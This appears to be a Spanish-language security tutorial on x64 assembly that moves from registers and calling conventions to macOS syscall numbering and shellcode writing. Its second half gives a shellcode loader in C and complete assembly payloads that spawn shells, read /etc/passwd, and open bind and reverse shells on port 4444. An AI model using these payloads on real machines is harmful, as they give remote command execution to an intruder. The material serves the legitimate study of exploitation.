Introducción a x64

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Introducción a x64

x64, también conocido como x86-64, es una arquitectura de procesador de 64 bits utilizada predominantemente en computación de escritorio y servidores. Originada de la arquitectura x86 producida por Intel y posteriormente adoptada por AMD con el nombre AMD64, es la arquitectura prevalente en computadoras personales y servidores hoy en día.

Registros

x64 se expande sobre la arquitectura x86, presentando 16 registros de propósito general etiquetados como rax, rbx, rcx, rdx, rbp, rsp, rsi, rdi, y r8 a r15. Cada uno de estos puede almacenar un valor de 64 bits (8 bytes). Estos registros también tienen sub-registros de 32 bits, 16 bits y 8 bits para compatibilidad y tareas específicas.

rax - Tradicionalmente utilizado para valores de retorno de funciones.
rbx - A menudo utilizado como un registro base para operaciones de memoria.
rcx - Comúnmente utilizado para contadores de bucle.
rdx - Utilizado en varios roles, incluyendo operaciones aritméticas extendidas.
rbp - Puntero base para el marco de pila.
rsp - Puntero de pila, que mantiene el seguimiento de la parte superior de la pila.
rsi y rdi - Utilizados para índices de origen y destino en operaciones de cadena/memoria.
r8 a r15 - Registros de propósito general adicionales introducidos en x64.

Convención de Llamadas

La convención de llamadas x64 varía entre sistemas operativos. Por ejemplo:

Windows: Los primeros cuatro parámetros se pasan en los registros rcx, rdx, r8, y r9. Los parámetros adicionales se empujan en la pila. El valor de retorno está en rax.
System V (comúnmente utilizado en sistemas similares a UNIX): Los primeros seis parámetros enteros o punteros se pasan en los registros rdi, rsi, rdx, rcx, r8, y r9. El valor de retorno también está en rax.

Si la función tiene más de seis entradas, el resto se pasará en la pila. RSP, el puntero de pila, debe estar alineado a 16 bytes, lo que significa que la dirección a la que apunta debe ser divisible por 16 antes de que ocurra cualquier llamada. Esto significa que normalmente tendríamos que asegurarnos de que RSP esté correctamente alineado en nuestro shellcode antes de hacer una llamada a función. Sin embargo, en la práctica, las llamadas al sistema funcionan muchas veces incluso si este requisito no se cumple.

Convención de Llamadas en Swift

Swift tiene su propia convención de llamadas que se puede encontrar en https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#x86-64

Instrucciones Comunes

Las instrucciones x64 tienen un conjunto rico, manteniendo la compatibilidad con las instrucciones x86 anteriores e introduciendo nuevas.

mov: Mover un valor de un registro o ubicación de memoria a otro.
Ejemplo: mov rax, rbx — Mueve el valor de rbx a rax.
push y pop: Empujar o sacar valores de/a la pila.
Ejemplo: push rax — Empuja el valor en rax a la pila.
Ejemplo: pop rax — Saca el valor superior de la pila en rax.
add y sub: Operaciones de suma y resta.
Ejemplo: add rax, rcx — Suma los valores en rax y rcx almacenando el resultado en rax.
mul y div: Operaciones de multiplicación y división. Nota: estas tienen comportamientos específicos respecto al uso de operandos.
call y ret: Utilizados para llamar y retornar de funciones.
int: Utilizado para activar una interrupción de software. Ej.: int 0x80 se utilizó para llamadas al sistema en Linux x86 de 32 bits.
cmp: Comparar dos valores y establecer las banderas de la CPU basándose en el resultado.
Ejemplo: cmp rax, rdx — Compara rax con rdx.
je, jne, jl, jge, ...: Instrucciones de salto condicional que cambian el flujo de control basándose en los resultados de un cmp o prueba anterior.
Ejemplo: Después de una instrucción cmp rax, rdx, je label — Salta a label si rax es igual a rdx.
syscall: Utilizado para llamadas al sistema en algunos sistemas x64 (como Unix moderno).
sysenter: Una instrucción de llamada al sistema optimizada en algunas plataformas.

Prologo de Función

Empujar el antiguo puntero base: push rbp (guarda el puntero base del llamador)
Mover el puntero de pila actual al puntero base: mov rbp, rsp (configura el nuevo puntero base para la función actual)
Asignar espacio en la pila para variables locales: sub rsp, <size> (donde <size> es el número de bytes necesarios)

Epilogo de Función

Mover el puntero base actual al puntero de pila: mov rsp, rbp (desasigna variables locales)
Sacar el antiguo puntero base de la pila: pop rbp (restaura el puntero base del llamador)
Retornar: ret (devuelve el control al llamador)

macOS

syscalls

Hay diferentes clases de syscalls, puedes encontrarlas aquí:

#define SYSCALL_CLASS_NONE	0	/* Invalid */
#define SYSCALL_CLASS_MACH	1	/* Mach */
#define SYSCALL_CLASS_UNIX	2	/* Unix/BSD */
#define SYSCALL_CLASS_MDEP	3	/* Machine-dependent */
#define SYSCALL_CLASS_DIAG	4	/* Diagnostics */
#define SYSCALL_CLASS_IPC	5	/* Mach IPC */

Luego, puedes encontrar cada número de syscall en esta URL:

0	AUE_NULL	ALL	{ int nosys(void); }   { indirect syscall }
1	AUE_EXIT	ALL	{ void exit(int rval); }
2	AUE_FORK	ALL	{ int fork(void); }
3	AUE_NULL	ALL	{ user_ssize_t read(int fd, user_addr_t cbuf, user_size_t nbyte); }
4	AUE_NULL	ALL	{ user_ssize_t write(int fd, user_addr_t cbuf, user_size_t nbyte); }
5	AUE_OPEN_RWTC	ALL	{ int open(user_addr_t path, int flags, int mode); }
6	AUE_CLOSE	ALL	{ int close(int fd); }
7	AUE_WAIT4	ALL	{ int wait4(int pid, user_addr_t status, int options, user_addr_t rusage); }
8	AUE_NULL	ALL	{ int nosys(void); }   { old creat }
9	AUE_LINK	ALL	{ int link(user_addr_t path, user_addr_t link); }
10	AUE_UNLINK	ALL	{ int unlink(user_addr_t path); }
11	AUE_NULL	ALL	{ int nosys(void); }   { old execv }
12	AUE_CHDIR	ALL	{ int chdir(user_addr_t path); }
[...]

Para llamar a la syscall open (5) de la clase Unix/BSD, necesitas agregarle: 0x2000000

Por lo tanto, el número de syscall para llamar a open sería 0x2000005

Shellcodes

Para compilar:

bash

nasm -f macho64 shell.asm -o shell.o
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib

Para extraer los bytes:

bash

# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/b729f716aaf24cbc8109e0d94681ccb84c0b0c9e/helper/extract.sh
for c in $(objdump -d "shell.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done

# Another option
otool -t shell.o | grep 00 | cut -f2 -d$'\t' | sed 's/ /\\x/g' | sed 's/^/\\x/g' | sed 's/\\x$//g'

C código para probar el shellcode

// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
// gcc loader.c -o loader
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>

int (*sc)();

char shellcode[] = "<INSERT SHELLCODE HERE>";

int main(int argc, char **argv) {
printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));

void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);

if (ptr == MAP_FAILED) {
perror("mmap");
exit(-1);
}
printf("[+] SUCCESS: mmap\n");
printf("    |-> Return = %p\n", ptr);

void *dst = memcpy(ptr, shellcode, sizeof(shellcode));
printf("[+] SUCCESS: memcpy\n");
printf("    |-> Return = %p\n", dst);

int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);

if (status == -1) {
perror("mprotect");
exit(-1);
}
printf("[+] SUCCESS: mprotect\n");
printf("    |-> Return = %d\n", status);

printf("[>] Trying to execute shellcode...\n");

sc = ptr;
sc();

return 0;
}

Shell

Tomado de aquí y explicado.

armasm

bits 64
global _main
_main:
call    r_cmd64
db '/bin/zsh', 0
r_cmd64:                      ; the call placed a pointer to db (argv[2])
pop     rdi               ; arg1 from the stack placed by the call to l_cmd64
xor     rdx, rdx          ; store null arg3
push    59                ; put 59 on the stack (execve syscall)
pop     rax               ; pop it to RAX
bts     rax, 25           ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall

armasm

bits 64
global _main

_main:
xor     rdx, rdx          ; zero our RDX
push    rdx               ; push NULL string terminator
mov     rbx, '/bin/zsh'   ; move the path into RBX
push    rbx               ; push the path, to the stack
mov     rdi, rsp          ; store the stack pointer in RDI (arg1)
push    59                ; put 59 on the stack (execve syscall)
pop     rax               ; pop it to RAX
bts     rax, 25           ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall

Leer con cat

El objetivo es ejecutar execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL), por lo que el segundo argumento (x1) es un array de parámetros (que en memoria significa una pila de las direcciones).

armasm

bits 64
section .text
global _main

_main:
; Prepare the arguments for the execve syscall
sub rsp, 40         ; Allocate space on the stack similar to `sub sp, sp, #48`

lea rdi, [rel cat_path]   ; rdi will hold the address of "/bin/cat"
lea rsi, [rel passwd_path] ; rsi will hold the address of "/etc/passwd"

; Create inside the stack the array of args: ["/bin/cat", "/etc/passwd"]
push rsi   ; Add "/etc/passwd" to the stack (arg0)
push rdi   ; Add "/bin/cat" to the stack (arg1)

; Set in the 2nd argument of exec the addr of the array
mov rsi, rsp    ; argv=rsp - store RSP's value in RSI

xor rdx, rdx    ; Clear rdx to hold NULL (no environment variables)

push    59      ; put 59 on the stack (execve syscall)
pop     rax     ; pop it to RAX
bts     rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall         ; Make the syscall

section .data
cat_path:      db "/bin/cat", 0
passwd_path:   db "/etc/passwd", 0

Invocar comando con sh

armasm

bits 64
section .text
global _main

_main:
; Prepare the arguments for the execve syscall
sub rsp, 32           ; Create space on the stack

; Argument array
lea rdi, [rel touch_command]
push rdi                      ; push &"touch /tmp/lalala"
lea rdi, [rel sh_c_option]
push rdi                      ; push &"-c"
lea rdi, [rel sh_path]
push rdi                      ; push &"/bin/sh"

; execve syscall
mov rsi, rsp                  ; rsi = pointer to argument array
xor rdx, rdx                  ; rdx = NULL (no env variables)
push    59                    ; put 59 on the stack (execve syscall)
pop     rax                   ; pop it to RAX
bts     rax, 25               ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall

_exit:
xor rdi, rdi                  ; Exit status code 0
push    1                     ; put 1 on the stack (exit syscall)
pop     rax                   ; pop it to RAX
bts     rax, 25               ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall

section .data
sh_path:        db "/bin/sh", 0
sh_c_option:    db "-c", 0
touch_command:  db "touch /tmp/lalala", 0

Bind shell

Bind shell de https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html en puerto 4444

armasm

section .text
global _main
_main:
; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP)
xor  rdi, rdi
mul  rdi
mov  dil, 0x2
xor  rsi, rsi
mov  sil, 0x1
mov  al, 0x2
ror  rax, 0x28
mov  r8, rax
mov  al, 0x61
syscall

; struct sockaddr_in {
;         __uint8_t       sin_len;
;         sa_family_t     sin_family;
;         in_port_t       sin_port;
;         struct  in_addr sin_addr;
;         char            sin_zero[8];
; };
mov  rsi, 0xffffffffa3eefdf0
neg  rsi
push rsi
push rsp
pop  rsi

; bind(host_sockid, &sockaddr, 16)
mov  rdi, rax
xor  dl, 0x10
mov  rax, r8
mov  al, 0x68
syscall

; listen(host_sockid, 2)
xor  rsi, rsi
mov  sil, 0x2
mov  rax, r8
mov  al, 0x6a
syscall

; accept(host_sockid, 0, 0)
xor  rsi, rsi
xor  rdx, rdx
mov  rax, r8
mov  al, 0x1e
syscall

mov rdi, rax
mov sil, 0x3

dup2:
; dup2(client_sockid, 2)
;   -> dup2(client_sockid, 1)
;   -> dup2(client_sockid, 0)
mov  rax, r8
mov  al, 0x5a
sub  sil, 1
syscall
test rsi, rsi
jne  dup2

; execve("//bin/sh", 0, 0)
push rsi
mov  rdi, 0x68732f6e69622f2f
push rdi
push rsp
pop  rdi
mov  rax, r8
mov  al, 0x3b
syscall

Reverse Shell

Reverse shell de https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html. Reverse shell a 127.0.0.1:4444

armasm

section .text
global _main
_main:
; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP)
xor  rdi, rdi
mul  rdi
mov  dil, 0x2
xor  rsi, rsi
mov  sil, 0x1
mov  al, 0x2
ror  rax, 0x28
mov  r8, rax
mov  al, 0x61
syscall

; struct sockaddr_in {
;         __uint8_t       sin_len;
;         sa_family_t     sin_family;
;         in_port_t       sin_port;
;         struct  in_addr sin_addr;
;         char            sin_zero[8];
; };
mov  rsi, 0xfeffff80a3eefdf0
neg  rsi
push rsi
push rsp
pop  rsi

; connect(sockid, &sockaddr, 16)
mov  rdi, rax
xor  dl, 0x10
mov  rax, r8
mov  al, 0x62
syscall

xor rsi, rsi
mov sil, 0x3

dup2:
; dup2(sockid, 2)
;   -> dup2(sockid, 1)
;   -> dup2(sockid, 0)
mov  rax, r8
mov  al, 0x5a
sub  sil, 1
syscall
test rsi, rsi
jne  dup2

; execve("//bin/sh", 0, 0)
push rsi
mov  rdi, 0x68732f6e69622f2f
push rdi
push rsp
pop  rdi
xor  rdx, rdx
mov  rax, r8
mov  al, 0x3b
syscall

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